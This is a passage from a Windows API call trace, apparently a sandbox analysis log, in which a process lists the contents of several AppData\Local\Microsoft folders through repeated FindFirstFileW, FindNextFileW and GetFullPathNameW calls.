ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.165] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.165] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.165] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.166] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x34 [0179.166] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f450 [0179.166] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.166] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.166] FindClose (in: hFindFile=0x135f450 | out: hFindFile=0x135f450) returned 1 [0179.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.166] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x2d [0179.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.166] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x2d [0179.167] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.167] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.168] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.168] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.168] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x2d [0179.168] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.168] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.169] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.169] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.169] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x33 [0179.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.169] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x33 [0179.169] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.169] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.170] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.170] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.170] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x33 [0179.170] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.170] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.170] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.171] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.171] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache", lpFilePart=0x0) returned 0x31 [0179.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.171] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache", lpFilePart=0x0) returned 0x31 [0179.171] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd425650, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd425650, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.171] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd425650, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd425650, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.171] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4", cAlternateFileName="")) returned 1 [0179.172] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4", cAlternateFileName="")) returned 0 [0179.172] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.172] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache", lpFilePart=0x0) returned 0x31 [0179.172] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd425650, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd425650, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.172] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd425650, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd425650, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.172] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4", cAlternateFileName="")) returned 1 [0179.173] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.173] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.173] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4", lpFilePart=0x0) returned 0x33 [0179.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.173] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4", lpFilePart=0x0) returned 0x33 [0179.173] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.173] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.173] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0179.174] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd44ba0e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviewFont", cAlternateFileName="PREVIE~1")) returned 1 [0179.174] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd44ba0e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviewFont", cAlternateFileName="PREVIE~1")) returned 0 [0179.174] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.174] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4", lpFilePart=0x0) returned 0x33 [0179.174] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.174] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.175] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0179.175] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd44ba0e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviewFont", cAlternateFileName="PREVIE~1")) returned 1 [0179.178] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, 